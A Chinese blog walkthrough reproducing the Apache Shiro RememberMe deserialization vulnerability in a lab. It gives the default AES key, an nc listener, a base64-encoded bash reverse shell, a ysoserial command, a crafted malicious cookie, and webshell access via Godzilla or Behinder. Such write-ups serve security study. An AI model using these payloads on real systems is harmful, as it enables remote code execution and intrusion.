源码分析:
接收到response传回的参数后先序列化,之后进行aes加密(对称)
上图可以看到使用kPH+bIxk5D2deZiIxcaaaA==解密
最后base64编码
漏洞原理:
shiro框架在登录时,如果勾选了RememberMe的功能,关闭浏览器再次访问时便无需再次登录,此时cookie中会增加一个rememberMe字段,其 value 的值是经过序列化、AES加密和Base64编码后得到的结果。
服务端在接收到一个Cookie时,会按照如下步骤进行解析处理:
(1)检索RememberMe Cookie的值
(2)进行Base64解码
(3)进行AES解码
(4)进行反序列化操作
整体流程与利用思路如上图所示
拦截response,看到deleteMe证明参数传递成功,说明确实存在4437漏洞
下面是漏洞复现过程:
第一种为手动做法
先开启一个监听端口用于接收反弹shell: nc –lvvp 6666
当命令中包含重定向 ’ < ’ ’ > ’ 和管道符 ’ | ’ 时,需要进行 base64 编码绕过检测。可以使用在线网站对命令进行编码,得到的结果如下bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjQ0LjEzMC82NjY2IDA+JjE=}|{base64,-d}|{bash,-i}
之后需要将该bash进行序列化
java -cp ysoserial.jar ysoserial.exploit.JRMPListener 7777 CommonsCollections5 "bash -c {echo,CmJhc2ggLWkgPiYgL2Rldi90Y3AvMTkyLjE2OC4yMDAuMTMxLzY2NjYgMD4mMQ==}|{base64,-d}|{bash,-i}"
默认密钥的加密,加密脚本内容如下
得到的rememberMe值如下:
rememberMe=SHaFTQdoQyyp/6aF8nm+S+n0p137QVPK6totrz/HmyvQAO+ZOKVLg7e3l1BpDjneRCi3pvZH+Crshq66w+o/xKMvLoVxRootFbrV6ovdAsvo/xAvXOYj71KNPqWP4J4tYNydIiPU1Gqd4saPTbJ1eiBW42tSY4NhiEu+/uCaGok+Lsyv/UB9zPCtJKGJCbDp8eHB9rk/RzQUV2QVdU2bsNjZM7dOTtoL/90yx3LcNfqrkzLWNW+X2jH4GwVPsKkPslQkzS8E/t4b8kMLYjTpFWmxmnyCzbX/4j8ok7JIxpqbQ92TSQgUzm+xcXluldpWo6e3EVnB+wUPNkrREad+YdCAFPpkSpSsuuRZjg/MQ/Kw7NiuTjNtwKMBmf5jalZ9HwbsiY5LfSdRfsLQ4MEwzg==
抓包之后将构造的cookie放入
响应包中确实可以看到deleteMe的内容,证明上传成功。
反弹shell执行成功
第二种是工具用法
存在该资源,证明注入成功,后续使用哥斯拉或冰蝎连接
添加webshell的路径
连接shell成功
标签:shell,加密,base64,rememberMe,shiro550,序列化,bash From: https://www.cnblogs.com/guangtouliu/p/17527228.html